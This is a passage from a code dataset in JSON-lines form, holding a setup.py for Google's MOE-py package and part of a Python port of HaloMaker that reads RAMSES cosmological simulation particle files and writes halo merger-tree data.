"usage_type": "attribute"}, {"api_name": "django.db.transaction", "line_number": 1951, "usage_type": "name"}, {"api_name": "django.template.loader.get_template", "line_number": 2025, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 2025, "usage_type": "name"}, {"api_name": "olympia.amo.templatetags.jinja_helpers.absolutify", "line_number": 2026, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 2026, "usage_type": "call"}, {"api_name": "olympia.amo.utils.send_mail", "line_number": 2027, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext", "line_number": 2028, "usage_type": "call"}, {"api_name": "django.conf.settings.DEFAULT_FROM_EMAIL", "line_number": 2030, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 2030, "usage_type": "name"}, {"api_name": "django.template.loader.get_template", "line_number": 2036, "usage_type": "call"}, {"api_name": "django.template.loader", "line_number": 2036, "usage_type": "name"}, {"api_name": "olympia.amo.templatetags.jinja_helpers.absolutify", "line_number": 2037, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 2037, "usage_type": "call"}, {"api_name": "olympia.amo.utils.send_mail", "line_number": 2038, "usage_type": "call"}, {"api_name": "django.utils.translation.gettext", "line_number": 2039, "usage_type": "call"}, {"api_name": "django.conf.settings.DEFAULT_FROM_EMAIL", "line_number": 2041, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 2041, "usage_type": "name"}, {"api_name": "olympia.amo.CHANNEL_CHOICES_LOOKUP", "line_number": 2049, "usage_type": "attribute"}, {"api_name": "olympia.amo", "line_number": 2049, "usage_type": "name"}, {"api_name": "olympia.devhub.decorators.dev_required", "line_number": 2046, "usage_type": "name"}, {"api_name": "olympia.amo.decorators.json_view", "line_number": 2047, "usage_type": "name"}, {"api_name": "olympia.amo.utils.is_safe_url", "line_number": 2059, "usage_type": "call"}, {"api_name": "django.conf.settings.LOGIN_REDIRECT_URL", "line_number": 2062, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 2062, "usage_type": "name"}, {"api_name": "django.conf.settings.LOGOUT_REDIRECT_URL", "line_number": 2067, "usage_type": "attribute"}, {"api_name": "django.conf.settings", "line_number": 2067, "usage_type": "name"}, {"api_name": "olympia.amo.reverse.get_url_prefix", "line_number": 2068, "usage_type": "call"}, {"api_name": "django.http.HttpResponseRedirect", "line_number": 2072, "usage_type": "call"}, {"api_name": "django.http", "line_number": 2072, "usage_type": "name"}, {"api_name": "olympia.accounts.views.logout_user", "line_number": 2074, "usage_type": "call"}]}
{"seq_id": "3713955686", "text": "import sys\nfrom setuptools import setup, find_packages\n\nREQUIRE = [\n    'google_apputils>=0.2',\n    ]\n\nif sys.version_info < (2, 5):\n    REQUIRE += [\n        'cElementTree>=1.0',\n        ]\n\nif sys.version_info < (2, 6):\n    REQUIRE += [\n        'simplejson>=2.0',\n        ]\n\n\nMOE_STUBS = [\n    ('moe', 'RunMoe'),\n    ('moe_push_codebase', 'RunPushCodebase'),\n    ('moe_manage_codebases', 'RunManageCodebases'),\n    ('moe_init_codebases', 'RunInitCodebases'),\n    ('moe_scrubber', 'RunScrubber'),\n    ]\nMOE_ENTRY_POINTS = ['%s = moe.stubs:%s' % s for s in MOE_STUBS]\n\n\nsetup(\n    name = 'moe',\n    version = '0.1',\n    packages = find_packages(exclude=['tests']),\n    package_data = {'': ['moe/scrubber/data', 'moe/dbapp']},\n\n    entry_points = {\n        'console_scripts': MOE_ENTRY_POINTS,\n        },\n\n    setup_requires = REQUIRE,\n    install_requires = REQUIRE,\n\n    google_test_dir = 'tests',\n    tests_require = REQUIRE + ['mox>=0.5'],\n\n    author = 'Google Inc.',\n    author_email='opensource@google.com',\n    url='http://code.google.com/p/google-moe',\n    zip_safe=False,\n    )\n", "repo_name": "google/MOE-py", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 1085, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "71", "api": [{"api_name": "sys.version_info", "line_number": 8, "usage_type": "attribute"}, {"api_name": "sys.version_info", "line_number": 13, "usage_type": "attribute"}, {"api_name": "setuptools.setup", "line_number": 29, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 32, "usage_type": "call"}]}
{"seq_id": "11451450163", "text": "from halo_defs import mem, halo, frange\nimport halo_defs as H\nimport numpy as np\nimport atexit, signal, sys\nfrom scipy.io import FortranFile\nfrom tqdm import tqdm\nfrom multiprocessing import Pool\n\n#///////////////////////////////////////////////////////////////////////\n#***********************************************************************\ndef read_data_10():\n    '''\n     This routine read the output of N-body simulations (particles positions and speeds, \n     cosmological and technical parameters)\n    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\n     WARNING: this routine just reads the data and converts positions       \n              and velocities from CODE units to these units                 \n              -- positions are between -0.5 and 0.5                         \n              -- velocities are in km/s                                     \n                 in units of Hubble velocity accross the box for SIMPLE (SN)\n              -- total box mass is 1.0                                      \n                 for simulation with hydro (only with -DRENORM) flag        \n              -- initial (beg of simulation) expansion factor is ai=1.0      \n    @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\n    '''\n\n    print(f\"\\n> In read_data: timestep  ---> {H.numero_step}\")\n\n    if(H.numero_step == 1):\n       print(f\"> data_dir: `{H.data_dir}`\")\n       # contains the number of snapshots to analyze and their names, type and number (see below)\n       f12 = open('inputfiles_HaloMaker.dat','r')\n\n    # then read name of snapshot, its type (pm, p3m, SN, Nzo, Gd), num of procs used and number of snapshot\n    name_of_file, H.simtype, H.nbPes, H.numstep = f12.readline().split()\n    H.nbPes = int(H.nbPes); H.numstep = int(H.numstep)\n    if(name_of_file[0]==\"'\")or(name_of_file[0]=='\"'):\n        name_of_file = name_of_file[1:-1]\n    H.file_num = f\"{int(H.numstep):05d}\"\n    if(name_of_file[0] != '/'):\n        name_of_file = f'{H.data_dir}/{name_of_file}'\n    print(f\"> name_of_file: `{name_of_file}`\")\n\n    # Note 1: old treecode SNAP format has to be converted [using SNAP_to_SIMPLE (on T3E)] \n    #     into new treecode SIMPLE (SN) format.\n    # Note 2: of the five format (pm, p3m, SN, Nzo, Gd) listed above, only  SN, Nzo and Gd \n    #     are fully tested so the code stops for pm and p3m\n\n    if(H.numero_step == H.nsteps): f12.close()\n\n    if(H.simtype=='SN'): raise NotImplementedError(\"`SN` format is not implemented yet\")\n\n    elif(H.simtype=='Ra'):\n        read_ramses_100(name_of_file)\n        # Computation of omega_t = omega_matter(t)\n        #\n        #                            omega_f*(1+z)^3\n        # omega(z)   = ------------------------------------------------------------------\n        #              omega_f*(1+z)^3+(1-omega_f-omega_lambda_f)*(1+z)^2+omega_lambda_f\n        #\n        #                              omega_lambda_0\n        # omega_L(z) = ----------------------------------------------------------------\n        #              omega_f*(1+z)^3+(1-omega_f-omega_lambda_f)*(1+z)^2+omega_lambda_f\n        H.omega_t  = H.omega_f*(H.af/H.aexp)**3\n        H.omega_t  = H.omega_t/(H.omega_t+(1.-H.omega_f-H.omega_lambda_f)*(H.af/H.aexp)**2+H.omega_lambda_f)\n    elif(H.simtype[:2]=='Ra'):\n        read_ramses_new_101(name_of_file, rver=H.simtype)\n        H.omega_t  = H.omega_f*(H.af/H.aexp)**3\n        H.omega_t  = H.omega_t/(H.omega_t+(1.-H.omega_f-H.omega_lambda_f)*(H.af/H.aexp)**2+H.omega_lambda_f)\n    elif(H.simtype=='Nzo'): raise NotImplementedError(\"`Nzo` format is not implemented yet\")\n    elif(H.simtype=='Gd'): raise NotImplementedError(\"`Gd` format is not implemented yet\")\n    else: raise NotImplementedError(f\"> Don''t know the snapshot format: `{H.simtype}`\")\n\n    print(f\"> aexp = {H.aexp}\")\n    pos = mem['pos_10']\n    print(f\"> min max position (in box units)   : {np.min(pos)},{np.max(pos)}\")\n    vel = mem['vel_10']\n    print(f\"> min max velocities (in km/s)      : {np.min(vel)},{np.max(vel)}\")\n    print(f\"> Reading done.\")\n\ndef skip_records(f, skip_num=1):\n    \"\"\"\n    Skips a record from current position, faster than read_ints.\n    \"\"\"\n    for _ in range(skip_num):\n        first_size = f._read_size()\n\n        f._fp.seek(first_size, 1)\n\n        second_size = f._read_size()\n        if first_size != second_size:\n            raise IOError(f'Sizes do not agree in the header({first_size}) and footer({second_size}) for '\n                        'this record - check header dtype')\n\n#***********************************************************************\ndef read_ramses_100(repository):\n    ''' This routine reads DM particles dumped in the RAMSES format.\n    implicit none\n\n    character(len=*)            :: repository\n    integer(kind=4)             :: ndim,npart,idim,icpu,ipos,H.ncpu,i,ipar\n    integer(kind=4)             :: ncpu2,npart2,ndim2\n    integer(kind=4)             :: nx,ny,nz,nlevelmax,ngridmax,nstep_coarse\n    integer(kind=4),allocatable :: idp(:)\n    real(kind=8)                :: boxlen,tco,aexp_ram,hexp\n    real(kind=8)                :: omega_m,omega_l,omega_k,omega_b\n    real(kind=8)                :: scale_l,scale_d,scale_t\n    real(kind=8)                :: mtot,massres\n    real(kind=8),allocatable    :: tmpp(:,:),tmpv(:,:),tmpm(:)\n    character*200               :: nomfich\n    character*5                 :: nchar,ncharcpu\n    logical                     :: ok\n\n    \n    # NB: repository is directory containing output files\n    # e.g. /horizon1/teyssier/ramses_simu/boxlen100_n256/output_00001/\n    '''\n    atexit.unregister(H.flush)\n    signal.signal(signal.SIGINT, H.flush)\n    signal.signal(signal.SIGPIPE, H.flush)\n    signal.signal(signal.SIGTERM, H.flush)\n    # read cosmological params in header of amr file\n    ipos    = repository.find(\"output_\")\n    nchar   = repository[ipos+7:ipos+12]\n    nomfich = f\"{repository}/amr_{nchar}.out00001\"\n    with FortranFile(nomfich, 'r') as f:\n        H.ncpu, = f.read_ints()\n        H.ndim, = f.read_ints()   \n        nx,ny,nz = f.read_ints()\n        H.nlevelmax, = f.read_ints()\n        ngridmax, = f.read_ints()\n        nstep_coarse, = f.read_ints()\n        boxlen, = f.read_reals()\n        # temps conforme tau, expansion factor, da/dtau\n        tco,aexp_ram,hexp = f.read_reals()\n        omega_m,omega_l,omega_k,omega_b = f.read_reals()\n        # to get units cgs multiply by these scale factors\n        scale_l,scale_d,scale_t = f.read_reals()\n    # use approximate comv from cm to Mpc to match Romain's conversion... \n    H.Lboxp          = boxlen*scale_l/3.08e24/aexp_ram # converts cgs to Mpc comoving\n    #write(errunit,*) 'af,hf,lboxp,ai,aexp',af,h_f,lboxp,ai,aexp_ram\n    H.aexp           = aexp_ram*H.af  \n    H.omega_f        = omega_m+omega_b\n    H.omega_lambda_f = omega_l\n    H.omega_c_f      = omega_k\n    print(f\"> From AMR file: `{nomfich}`\")\n    print(f\"\\tncpu={H.ncpu}, ndim={H.ndim}, nstep_coarse={nstep_coarse}\")\n    print(f\"\\tnlevelmax={H.nlevelmax}, ngridmax={ngridmax}\")\n    print(f\"\\tt={tco:.3e}, aexp={aexp_ram:.3e}, hexp={hexp:.3e}\")\n    print(f\"\\tomega_m={omega_m:.3f}, omega_l={omega_l:.3f}, omega_k={omega_k:.3f}, omega_b={omega_b:.3f}\")\n    print(f\"\\tboxlen={H.Lboxp:.3e} h-1 Mpc\")\n\n    # now read the particle data files\n    nomfich = f\"{repository}/part_{nchar}.out00001\"\n    print(f\"\\n> From part file: `{nomfich}`\")\n    with FortranFile(nomfich, 'r') as f:\n        H.ncpu, = f.read_ints()\n        H.ndim, = f.read_ints()\n\n    H.npart = 0\n    for icpu1 in range(1,H.ncpu+1):\n       nomfich = f\"{repository}/part_{nchar}.out{icpu1:05d}\"\n       with FortranFile(nomfich, 'r') as f:\n           ncpu2, = f.read_ints()\n           ndim2, = f.read_ints()\n           npart2, = f.read_ints()\n       H.npart = H.npart+npart2\n    \n    H.nbodies = H.npart\n    print(f\"> Found {H.npart} particles\")\n    print(f\"> Reading positions and masses...\")\n    \n    H.allocate('pos_10', (H.npart, H.ndim), dtype=np.float64)\n    H.allocate('vel_10', (H.npart, H.ndim), dtype=np.float64)\n    H.allocate('mass_10', (H.npart,), dtype=np.float64)\n  \n    iterobj = range(1,H.ncpu+1)\n    if(H.TQDM):\n        iterobj = tqdm(range(1,H.ncpu+1), desc=\"Reading particles\", unit=\"cpu\")\n    for icpu1 in iterobj:\n        nomfich = f\"{repository}/part_{nchar}.out{icpu1:05d}\"\n        with FortranFile(nomfich, 'r') as f:\n            ncpu2, = f.read_ints()\n            ndim2, = f.read_ints()\n            npart2, = f.read_ints()\n            tmpp = np.empty((npart2, ndim2), dtype=np.float64)\n            tmpv = np.empty((npart2, ndim2), dtype=np.float64)\n            tmpm = np.empty(npart2, dtype=np.float64)\n            idp = np.empty(npart2, dtype=np.int32)\n            \n            # read all particle positions\n            for idim0 in range(H.ndim):\n                tmpp[:,idim0] = f.read_reals()\n            # read all particle velocities\n            for idim0 in range(H.ndim):\n                tmpv[:,idim0] = f.read_reals()\n            # read all particle masses\n            tmpm[:] = f.read_reals()\n            # read all particle ids\n            idp[:] = f.read_ints()\n\n        # now sort DM particles in ascending id order\n        for idim0 in range(H.ndim):\n            # put all positions between -0.5 and 0.5\n            mem['pos_10'][idp-1,idim0] = tmpp[:,idim0] - 0.5\n            # convert code units to km/s \n            mem['vel_10'][idp-1,idim0] = tmpv[:,idim0]*scale_l/scale_t*1e-5\n            mem['mass_10'][idp-1] = tmpm[:]\n        del tmpp; del tmpv; del tmpm; del idp\n    \n        mtot = np.sum(mem['mass_10'])\n        # that is for the dark matter so let's add baryons now if there are any \n        # and renormalization flag is on ##\n        massres = np.min(mem['mass_10'])*H.mboxp*1e11\n        H.massp   = np.min(mem['mass_10'])\n        print(f\"> particle mass (in M_sun)               = {massres}\")\n        if(H.RENORM):\n            massres /= mtot\n            H.massp /= mtot\n            print(f\"> particle mass (in M_sun) after renorm  = {massres}\")\n        if(H.BIG_RUN):\n            H.deallocate('mass_10')\n#***********************************************************************\n# def _read_ramses_new_1010(icpu, cursors, nsize, kwargs):\ndef _read_ramses_new_1010(icpu, kwargs):\n    repository = kwargs['repository']\n    rver = kwargs['rver']\n    nchar = kwargs['nchar']\n    H.ndim = kwargs['ndim']\n    scale_l = kwargs['scale_l']\n    scale_t = kwargs['scale_t']\n\n    nomfich = f\"{repository}/part_{nchar}.out{icpu:05d}\"\n    with FortranFile(nomfich, 'r') as f:\n        ncpu2, = f.read_ints()\n        ndim2, = f.read_ints()\n        npart2, = f.read_ints()\n        skip_records(f, 1)\n        nstar, = f.read_ints()\n        skip_records(f, 2)\n        nsink, = f.read_ints()\n        # assert nsize[icpu-1] == npart2\n\n        tmpp = np.empty((npart2,3), dtype=np.float64)#mem['pos_tmp_101'][cursors[icpu-1]-nsize[icpu-1]:cursors[icpu-1], :].view()\n        tmpv = np.empty((npart2,3), dtype=np.float64)#mem['vel_tmp_101'][cursors[icpu-1]-nsize[icpu-1]:cursors[icpu-1], :].view()\n        tmpm = np.empty(npart2, dtype=np.float64)#mem['mass_tmp_101'][cursors[icpu-1]-nsize[icpu-1]:cursors[icpu-1]].view()           \n        \n        # read all particle positions\n        # print(icpu, tmpp[:,0].shape, nsize[icpu-1], npart2, cursors[icpu-1], mem['pos_tmp_101'].shape)\n        for idim0 in range(H.ndim):\n            tmpp[:,idim0] = f.read_reals()\n        # read all particle velocities\n        for idim0 in range(H.ndim):\n            tmpv[:,idim0] = f.read_reals()\n        # read all particle masses\n        tmpm = f.read_reals()\n        # read all particle ids\n        idp = f.read_ints()\n        # read grid level of particles\n        skip_records(f, 1)\n        if(rver=='Ra4'):\n            # read particle family\n            fam = f.read_ints(dtype=np.int8)\n            # read particle tag\n            skip_records(f, 1)\n        else:\n            # read all particle creation times if necessary\n            if((nstar>0)or(nsink>0)):\n                tmpt = f.read_reals()\n                if(H.METALS):\n                    skip_records(f, 1)\n    # now sort DM particles in ascending id order and get rid of stars\n    if(rver=='Ra4'): mask = fam==1 # DM particles only\n    else: mask = (idp>0)&(tmpt==0)\n    npart_tmp = np.sum(mask)\n    for idim0 in range(H.ndim):\n        # put all positions between -0.5 and 0.5\n        mem['pos_tmp_101'][idp[mask]-1,idim0] = tmpp[mask,idim0]-0.5\n        # convert code units to km/s \n        mem['vel_tmp_101'][idp[mask]-1,idim0] = tmpv[mask,idim0]*scale_l/scale_t*1e-5\n        mem['mass_tmp_101'][idp[mask]-1] = tmpm[mask]\n    return npart_tmp\n#***********************************************************************\ndef read_ramses_new_101(repository, rver='Ra3'):\n    ''' This routine reads DM particles dumped in the RAMSES format.\n    implicit none\n\n    character(len=*)            :: repository\n    integer(kind=4)             :: ndim,npart,idim,icpu,ipos,H.ncpu,i,ipar\n    integer(kind=4)             :: ncpu2,npart2,ndim2\n    integer(kind=4)             :: nx,ny,nz,nlevelmax,ngridmax,nstep_coarse\n    integer(kind=4),allocatable :: idp(:)\n    real(kind=8)                :: boxlen,tco,aexp_ram,hexp\n    real(kind=8)                :: omega_m,omega_l,omega_k,omega_b\n    real(kind=8)                :: scale_l,scale_d,scale_t\n    real(kind=8)                :: mtot,massres\n    real(kind=8),allocatable    :: tmpp(:,:),tmpv(:,:),tmpm(:)\n    character*200               :: nomfich\n    character*5                 :: nchar,ncharcpu\n    logical                     :: ok\n\n    \n    # NB: repository is directory containing output files\n    # e.g. /horizon1/teyssier/ramses_simu/boxlen100_n256/output_00001/\n    '''\n    atexit.unregister(H.flush)\n    signal.signal(signal.SIGINT, H.flush)\n    signal.signal(signal.SIGPIPE, H.flush)\n    signal.signal(signal.SIGTERM, H.flush)\n    print()\n    print(f\"\\t#################################\")\n    print(f\"\\t# Reading RAMSES version {rver} #\")\n    print(f\"\\t#################################\")\n    # read cosmological params in header of amr file\n    ipos    = repository.find(\"output_\")\n    nchar   = repository[ipos+7:ipos+12]\n    nomfich = f\"{repository}/amr_{nchar}.out00001\"\n    with FortranFile(nomfich, 'r') as f:\n        H.ncpu, = f.read_ints()\n        H.ndim, = f.read_ints()   \n        nx,ny,nz = f.read_ints()\n        H.nlevelmax, = f.read_ints()\n        ngridmax, = f.read_ints()\n        skip_records(f, 2) # nboundary, ngrid_current\n        boxlen, = f.read_reals()\n        nout,idum,idum = f.read_ints()\n        skip_records(f, 2) # tout, aout\n        tco, = f.read_reals()\n        skip_records(f, 2) # dtold, dtnew\n        idum, nstep_coarse = f.read_ints() # nstep, nstep_coarse\n        skip_records(f, 1) # einit, mass_tot_0, rho_tot\n        temp = f.read_reals()\n        omega_m,omega_l,omega_k,omega_b,dummy = temp[:5]\n        temp = f.read_reals()\n        aexp_ram, hexp = temp[:2]\n    print(f\"\\t> From AMR file: `{nomfich}`\")\n    print(f\"\\t\\tncpu={H.ncpu}, ndim={H.ndim}, nstep_coarse={nstep_coarse}\")\n    print(f\"\\t\\tnlevelmax={H.nlevelmax}, ngridmax={ngridmax}\")\n    print(f\"\\t\\tt={tco:.3e}, aexp={aexp_ram:.3e}, hexp={hexp:.3e}\")\n    print(f\"\\t\\tomega_m={omega_m:.3f}, omega_l={omega_l:.3f}, omega_k={omega_k:.3f}, omega_b={omega_b:.3f}\")\n\n    nomfich = f\"{repository}/info_{nchar}.txt\"\n    with open(nomfich, 'r') as f:\n        for line in f:\n            line = line.strip()  # Remove leading and trailing whitespace\n            if not line or line.startswith('#'):\n                continue  # Skip empty lines and lines starting with '#'\n\n            # Split the line at the '=' character\n            name, value = map(str.strip, line.split('='))\n\n            # Check for a comment at the end of the value\n            if '!' in value:\n                value = value.split('!')[0].strip()\n\n            # Process the name and value\n            if name in ('unit_l', 'scale_l'):\n                scale_l = float(value)\n            elif name in ('unit_d', 'scale_d'):\n                scale_d = float(value)\n            elif name in ('unit_t', 'scale_t'):\n                scale_t = float(value)\n                break\n\n    H.Lboxp          = boxlen*scale_l/3.08e24/aexp_ram # converts cgs to Mpc comoving\n    H.aexp           = aexp_ram*H.af  \n    H.omega_f        = omega_m\n    H.omega_lambda_f = omega_l\n    H.omega_c_f      = omega_k\n    print(f\"\\t\\tboxlen={boxlen*scale_l/3.08e24:.3e} h-1 Mpc\")\n    # print(f\"\\t> From AMR file: `{nomfich}`\")\n    # print(f\"\\t\\tncpu={H.ncpu}, ndim={H.ndim}, nstep_coarse={nstep_coarse}\")\n    # print(f\"\\t\\tnx={nx}, ny={ny}, nz={nz}\")\n    # print(f\"\\t\\tnlevelmax={H.nlevelmax}, ngridmax={ngridmax}\")\n    # print(f\"\\t\\tt={tco:.3e}, aexp={H.aexp:.3e}, hexp={hexp:.3e}\")\n    # print(f\"\\t\\tomega_m={omega_m:.3f}, omega_l={omega_l:.3f}, omega_k={omega_k:.3f}, omega_b={omega_b:.3f}\")\n    # print(f\"\\t\\tboxlen={boxlen*scale_l:.3e} h-1 Mpc\")\n\n    # now read the particle data files\n    nomfich = f\"{repository}/part_{nchar}.out00001\"\n    print(f\"\\t> From part file: `{nomfich}`\")\n    with FortranFile(nomfich, 'r') as f:\n        H.ncpu, = f.read_ints()\n        H.ndim, = f.read_ints()\n\n    H.npart = 0\n    # nsize = np.zeros(H.ncpu, dtype=np.int32)\n    for icpu1 in range(1,H.ncpu+1):\n        nomfich = f\"{repository}/part_{nchar}.out{icpu1:05d}\"\n        with FortranFile(nomfich, 'r') as f:\n            ncpu2, = f.read_ints()\n            ndim2, = f.read_ints()\n            npart2, = f.read_ints()\n            idum = f.read_ints()\n            nstar, = f.read_ints()\n            idum = f.read_ints()\n            idum = f.read_ints()\n            nsink, = f.read_ints()\n        H.npart += npart2\n    #     nsize[icpu-1] = npart2\n    # cursors = np.cumsum(nsize)\n    # print(nsize)\n\n    print(f\"\\t> Found {H.npart} Total particles\")\n    H.npart -= nstar\n    H.nbodies = H.npart\n    print(f\"\\t        {H.npart} non-stellar particles\")\n    print(f\"\\t        {nstar} star particles\")\n    print(f\"\\t> Reading positions and masses...\")\n    \n    H.allocate('pos_tmp_101', (H.npart, H.ndim), dtype=np.float64)\n    H.allocate('vel_tmp_101', (H.npart, H.ndim), dtype=np.float64)\n    H.allocate('mass_tmp_101', (H.npart,), dtype=np.float64)\n  \n    ##### MultiProcessing Start #####\n    # H.ncpu=4\n    # H.nbPes = 4\n    kwargs = {'repository':repository, 'rver':rver, 'nchar':nchar, 'ndim':H.ndim, 'scale_l':scale_l, 'scale_t':scale_t}\n    iterobj = range(1,H.ncpu+1)\n    if(H.nbPes==1): # Sequential reading\n        if(H.TQDM):\n            iterobj = tqdm(range(1,H.ncpu+1), desc=f\"Reading parts(nbPes={H.nbPes})\", unit=\"cpu\")\n        npart_tmp = 0\n        for icpu1 in iterobj:\n            npart_tmp += _read_ramses_new_1010(icpu1, kwargs)\n    else: # Multiprocessing\n        signal.signal(signal.SIGTERM, signal.SIG_DFL)\n        with Pool(processes=H.nbPes) as pool:\n            async_results = [pool.apply_async(_read_ramses_new_1010, (icpu1, kwargs)) for icpu1 in iterobj]\n            npart_tmp = 0\n            iterobj = async_results\n            if(H.TQDM):\n                iterobj = tqdm(async_results, desc=f\"Reading parts(nbPes={H.nbPes})\", unit=\"cpu\", total=H.ncpu)\n            for async_result in iterobj:\n                npart_tmp += async_result.get()\n        signal.signal(signal.SIGTERM, H.flush)\n\n    H.npart = npart_tmp\n    H.nbodies = H.npart\n    print(f\"\\t> Found {H.npart} DM particles after masking\")\n    H.allocate('pos_10', (H.npart, H.ndim), dtype=np.float64)\n    H.allocate('vel_10', (H.npart, H.ndim), dtype=np.float64)\n    H.allocate('mass_10', (H.npart,), dtype=np.float64)\n    mem['pos_10'][:H.npart, :] = mem['pos_tmp_101'][:H.npart, :]\n    mem['vel_10'][:H.npart, :] = mem['vel_tmp_101'][:H.npart, :]\n    mem['mass_10'][:H.npart] = mem['mass_tmp_101'][:H.npart]\n    H.deallocate('pos_tmp_101','vel_tmp_101','mass_tmp_101')\n\n    mtot = np.sum(mem['mass_10'])\n    # that is for the dark matter so let's add baryons now if there are any \n    # and renormalization flag is on ##\n    massres = np.min(mem['mass_10'])*H.mboxp*1e11\n    H.massp   = np.min(mem['mass_10'])\n    print(f\"\\t> particle mass (in M_sun)               = {massres}\")\n    if(H.RENORM):\n        massres /= mtot\n        H.massp /= mtot\n        print(f\"\\t> particle mass (in M_sun) after renorm  = {massres}\")\n    if(H.BIG_RUN):\n        H.deallocate('mass_10')\n    print(f\"\\t#################################\\n\")\n\n#***********************************************************************\ndef write_tree_brick_1d():\n    '''\n    This subroutine writes the information relevant to building a halo \n    merging tree (using the build_tree program) i.e. for each halo:\n      1/ the list of all the particles it contains (this enables us --- as  \n         particle numbers are time independent --- to follow the halo history) \n      2/ its properties which are independent of merging history (mass ...)\n    '''\n#     integer(kind=4)                                         :: i,unitfile,start,j,idim,ndim=3\n#     character(LEN=5)                                        :: nchar\n#     character(LEN=7)                                        :: ncharg\n#     character(LEN=300)                                      :: nomfich\n# #ifndef H.BIG_RUN\n#     character(len=len_trim(H.data_dir)+16)                    :: file\n# #endif\n#     character(len=len_trim(H.data_dir)+len_trim(H.file_num)+11) :: filename\n#     integer(kind=4) ,allocatable                            :: members(:)\n#     real(kind=8) ,allocatable                            :: mass_memb(:),mdump(:)\n#     real(kind=8) ,allocatable                            :: pos_memb(:,:),vel_memb(:,:)\n#     logical                                                 :: done\n    import os\n    nchar   = f'{int(H.file_num):05d}'\n    if(H.dump_dms):\n        #    call system('mkdir HAL_'//TRIM(nchar))\n        os.mkdir(f'HAL_{nchar}')    \n\n    done = False\n    if(H.BIG_RUN):\n        if(H.write_resim_masses):\n            f44 = FortranFile(f'{H.data_dir}/resim_masses.dat', 'w')\n            f44.write_record(H.nbodies)\n            f44.write_record(mem['mass_10'])\n            f44.close()\n            H.write_resim_masses = False\n\n    if(not H.fsub):\n        filename = f\"{H.data_dir}/tree_brick_{nchar}\"\n    else:\n        filename = f\"{H.data_dir}/tree_bricks_{nchar}\"\n    f44 = FortranFile(filename, 'w')\n    print()\n    print('> Output data to build halo merger tree to: ',filename)\n    f44.write_record(H.nbodies)\n    f44.write_record(H.massp)\n    f44.write_record(H.aexp)\n    f44.write_record(H.omega_t)\n    f44.write_record(H.age_univ)\n    f44.write_record(H.nb_of_halos, H.nb_of_subhalos)\n    for i0 in range(H.nb_of_halos + H.nb_of_subhalos):\n        # write list of particles in each halo\n        members = np.empty(mem['nb_of_parts_o0_1'][i0+1], dtype=np.int32)\n        if(H.dump_dms):\n            mass_memb = np.empty(mem['nb_of_parts_o0_1'][i0+1], dtype=np.float64)\n            pos_memb = np.empty((mem['nb_of_parts_o0_1'][i0+1],3), dtype=np.float64)\n            vel_memb = np.empty((mem['nb_of_parts_o0_1'][i0+1],3), dtype=np.float64)\n            mdump = np.empty(mem['nb_of_parts_o0_1'][i0+1], dtype=np.float64)\n        start = mem['first_part_oo_1'][i0+1]\n        for j0 in range(mem['nb_of_parts_o0_1'][i0+1]):\n            members[j0] = start\n            if(H.dump_dms):\n                mass_memb[j0] = mem['mass_10'][start-1]\n                pos_memb[j0,0]=mem['pos_10'][start-1,0]\n                pos_memb[j0,1]=mem['pos_10'][start-1,1]\n                pos_memb[j0,2]=mem['pos_10'][start-1,2]\n                vel_memb[j0,0]=mem['vel_10'][start-1,0]\n                vel_memb[j0,1]=mem['vel_10'][start-1,1]\n                vel_memb[j0,2]=mem['vel_10'][start-1,2]\n            start = mem['linked_list_oo_1'][start]\n        f44.write_record(mem['nb_of_parts_o0_1'][i0+1])\n        f44.write_record(members)\n\n        if(H.dump_dms):\n            ncharg = f\"{H.liste_halos_o0[i0+1].my_number:07d}\"\n            nomfich = f\"HAL_{nchar}/halo_dms_{ncharg}\"\n            f9 = FortranFile(nomfich, 'w')\n            f9.write_record(H.liste_halos_o0[i0+1].my_number)\n            f9.write_record(H.liste_halos_o0[i0+1].level)\n            f9.write_record(H.liste_halos_o0[i0+1].m)\n            f9.write_record(H.liste_halos_o0[i0+1].p.x,H.liste_halos_o0[i0+1].p.y,H.liste_halos_o0[i0+1].p.z)\n            f9.write_record(H.liste_halos_o0[i0+1].v.x,H.liste_halos_o0[i0+1].v.y,H.liste_halos_o0[i0+1].v.z)\n            f9.write_record(H.liste_halos_o0[i0+1].L.x,H.liste_halos_o0[i0+1].L.y,H.liste_halos_o0[i0+1].L.z)\n            f9.write_record(mem['nb_of_parts_o0_1'][i0+1])\n            for idim0 in range(H.ndim):\n                mdump[mem['nb_of_parts_o0_1'][i0+1]]=pos_memb[mem['nb_of_parts_o0_1'][i0+1],idim0]\n                f9.write_record( mdump )\n            for idim0 in range(H.ndim):\n                mdump[mem['nb_of_parts_o0_1'][i0+1]]=vel_memb[mem['nb_of_parts_o0_1'][i0+1],idim0]\n                f9.write_record( mdump )\n            f9.write_record( mass_memb )\n            f9.write_record( members )\n            del mass_memb; del pos_memb; del vel_memb; del mdump\n\n        del members\n        # write each halo properties\n        write_halo_1d0(H.liste_halos_o0[i0+1],f44)\n    f44.close()\n\n#***********************************************************************\ndef write_halo_1d0(h:halo,unitfile:FortranFile):\n    # integer(kind=4) :: unitfile\n    # type (halo)     :: h\n\n    # Masses (h.m,h.datas.mvir) are in units of 10^11 Msol, and \n    # Lengths (h.p.x,h.p.y,h.p.z,h.r,h.datas.rvir) are in units of Mpc\n    # Velocities (h.v.x,h.v.y,h.v.z,h.datas.cvel) are in km/s\n    # Energies (h.ek,h.ep,h.et) are in\n    # Temperatures (h.datas.tvir) are in K\n    # Angular Momentum (h.L.x,h.L.y,h.L.z) are in\n    # Other quantities are dimensionless (h.my_number,h.my_timestep,h.spin)  \n\n    unitfile.write_record( h.my_number )\n    unitfile.write_record( h.my_timestep  )\n    unitfile.write_record( h.level,h.hosthalo,h.hostsub,h.nbsub,h.nextsub )\n    unitfile.write_record( h.m )\n    unitfile.write_record( 